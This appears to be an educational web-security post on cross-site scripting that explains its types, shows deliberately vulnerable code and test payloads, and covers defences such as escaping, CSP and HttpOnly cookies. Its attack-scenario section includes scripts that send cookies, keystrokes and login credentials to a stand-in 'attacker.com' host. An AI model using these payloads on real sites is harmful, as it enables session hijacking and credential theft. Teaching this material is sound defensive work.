Cross-Site Scripting (XSS) is one of the most prevalent web application vulnerabilities. Let’s dive into what XSS is, the different types, and how to defend against them.

What is XSS?

XSS attacks occur when an attacker injects malicious scripts (usually JavaScript) into web pages viewed by other users. These scripts execute in the victim’s browser context, potentially stealing data, hijacking sessions, or defacing websites.

Types of XSS

1. Reflected XSS (Non-Persistent)

The malicious script comes from the current HTTP request. It’s “reflected” back to the user.

Example:

1<!-- Vulnerable search functionality -->
2<p>You searched for: <?php echo $_GET['query']; ?></p>

Attack URL:

1https://vulnerable-site.com/search?query=<script>alert('XSS')</script>

2. Stored XSS (Persistent)

The malicious script is permanently stored on the target server (database, forum post, comment field).

Example:

1// Vulnerable comment system
2const comment = userInput; // No sanitization
3database.save(comment);
4
5// Later displayed to all users
6document.getElementById('comments').innerHTML = comment;

3. DOM-Based XSS

The vulnerability exists in client-side code rather than server-side.

Example:

1<script>
2    // Vulnerable code
3    const name = new URLSearchParams(window.location.search).get('name');
4    document.getElementById('welcome').innerHTML = 'Hello ' + name;
5</script>

Attack:

1https://site.com/page?name=<img src=x onerror=alert('XSS')>

Real-World Attack Scenarios

Session Hijacking

1// Steal session cookies
2<script>
3    fetch('https://attacker.com/steal?cookie=' + document.cookie);
4</script>

Keylogging

1// Capture keystrokes
2<script>
3    document.addEventListener('keypress', function(e) {
4        fetch('https://attacker.com/log?key=' + e.key);
5    });
6</script>

Phishing

1// Inject fake login form
2<script>
3    document.body.innerHTML = '<form action="https://attacker.com/harvest">' +
4        '<input name="username" placeholder="Username">' +
5        '<input type="password" name="password" placeholder="Password">' +
6        '<button>Login</button></form>';
7</script>

Prevention Techniques

1. Output Encoding/Escaping

HTML Context:

1function escapeHtml(unsafe) {
2    return unsafe
3        .replace(/&/g, "&amp;")
4        .replace(/</g, "&lt;")
5        .replace(/>/g, "&gt;")
6        .replace(/"/g, "&quot;")
7        .replace(/'/g, "&#039;");
8}

JavaScript Context:

1// Use JSON.stringify for safe insertion
2const userInput = JSON.stringify(untrustedData);

2. Content Security Policy (CSP)

Add CSP headers to restrict script sources:

1<meta http-equiv="Content-Security-Policy"
2      content="default-src 'self'; script-src 'self' https://trusted-cdn.com">

Or via HTTP header:

1Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com

3. Input Validation

 1function validateInput(input) {
 2    // Whitelist approach
 3    const allowedPattern = /^[a-zA-Z0-9\s,.'-]+$/;
 4    return allowedPattern.test(input);
 5}
 6
 7// Use it
 8if (!validateInput(userInput)) {
 9    throw new Error('Invalid input detected');
10}

4. Use Safe APIs

1// DON'T use innerHTML with user data
2element.innerHTML = userInput; // Dangerous!
3
4// DO use textContent or innerText
5element.textContent = userInput; // Safe
6
7// Or use createElement
8const textNode = document.createTextNode(userInput);
9element.appendChild(textNode);

5. HttpOnly Cookies

1// Set HttpOnly flag on sensitive cookies
2Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

Framework-Specific Protection

React

React automatically escapes content:

1// This is safe - React escapes by default
2<div>{userInput}</div>
3
4// This is dangerous - bypasses escaping
5<div dangerouslySetInnerHTML={{__html: userInput}} />

Angular

Angular sanitizes content automatically:

 1// Safe by default
 2<div>{{ userInput }}</div>
 3
 4// Use DomSanitizer for trusted content
 5import { DomSanitizer } from '@angular/platform-browser';
 6
 7constructor(private sanitizer: DomSanitizer) {}
 8
 9getTrustedHtml(html: string) {
10    return this.sanitizer.sanitize(SecurityContext.HTML, html);
11}

Testing for XSS

Basic Test Payloads:

1<script>alert('XSS')</script>
2<img src=x onerror=alert('XSS')>
3<svg onload=alert('XSS')>
4<iframe src="javascript:alert('XSS')">
5<input onfocus=alert('XSS') autofocus>

Tools:

  • XSStrike: Advanced XSS detection suite
  • Burp Suite: Web vulnerability scanner
  • OWASP ZAP: Free security testing tool

XSS Testing Checklist

  • Test all input fields (forms, search boxes, URL parameters)
  • Check file upload functionality
  • Test HTTP headers (User-Agent, Referer)
  • Examine cookie values
  • Review API endpoints
  • Test DOM manipulation
  • Verify CSP implementation

Key Takeaways

  1. Never trust user input - Always sanitize and validate
  2. Use context-aware encoding - Different contexts need different encoding
  3. Implement CSP - Defense in depth approach
  4. Use framework protections - Don’t bypass built-in security
  5. Set HttpOnly flags - Protect sensitive cookies
  6. Regular security audits - Test your applications

Conclusion

XSS vulnerabilities can have serious consequences, from stolen credentials to complete account takeover. The good news is that modern frameworks provide built-in protection, and following security best practices can prevent most XSS attacks.

Remember: defense in depth is key. Combine multiple protection layers for robust security.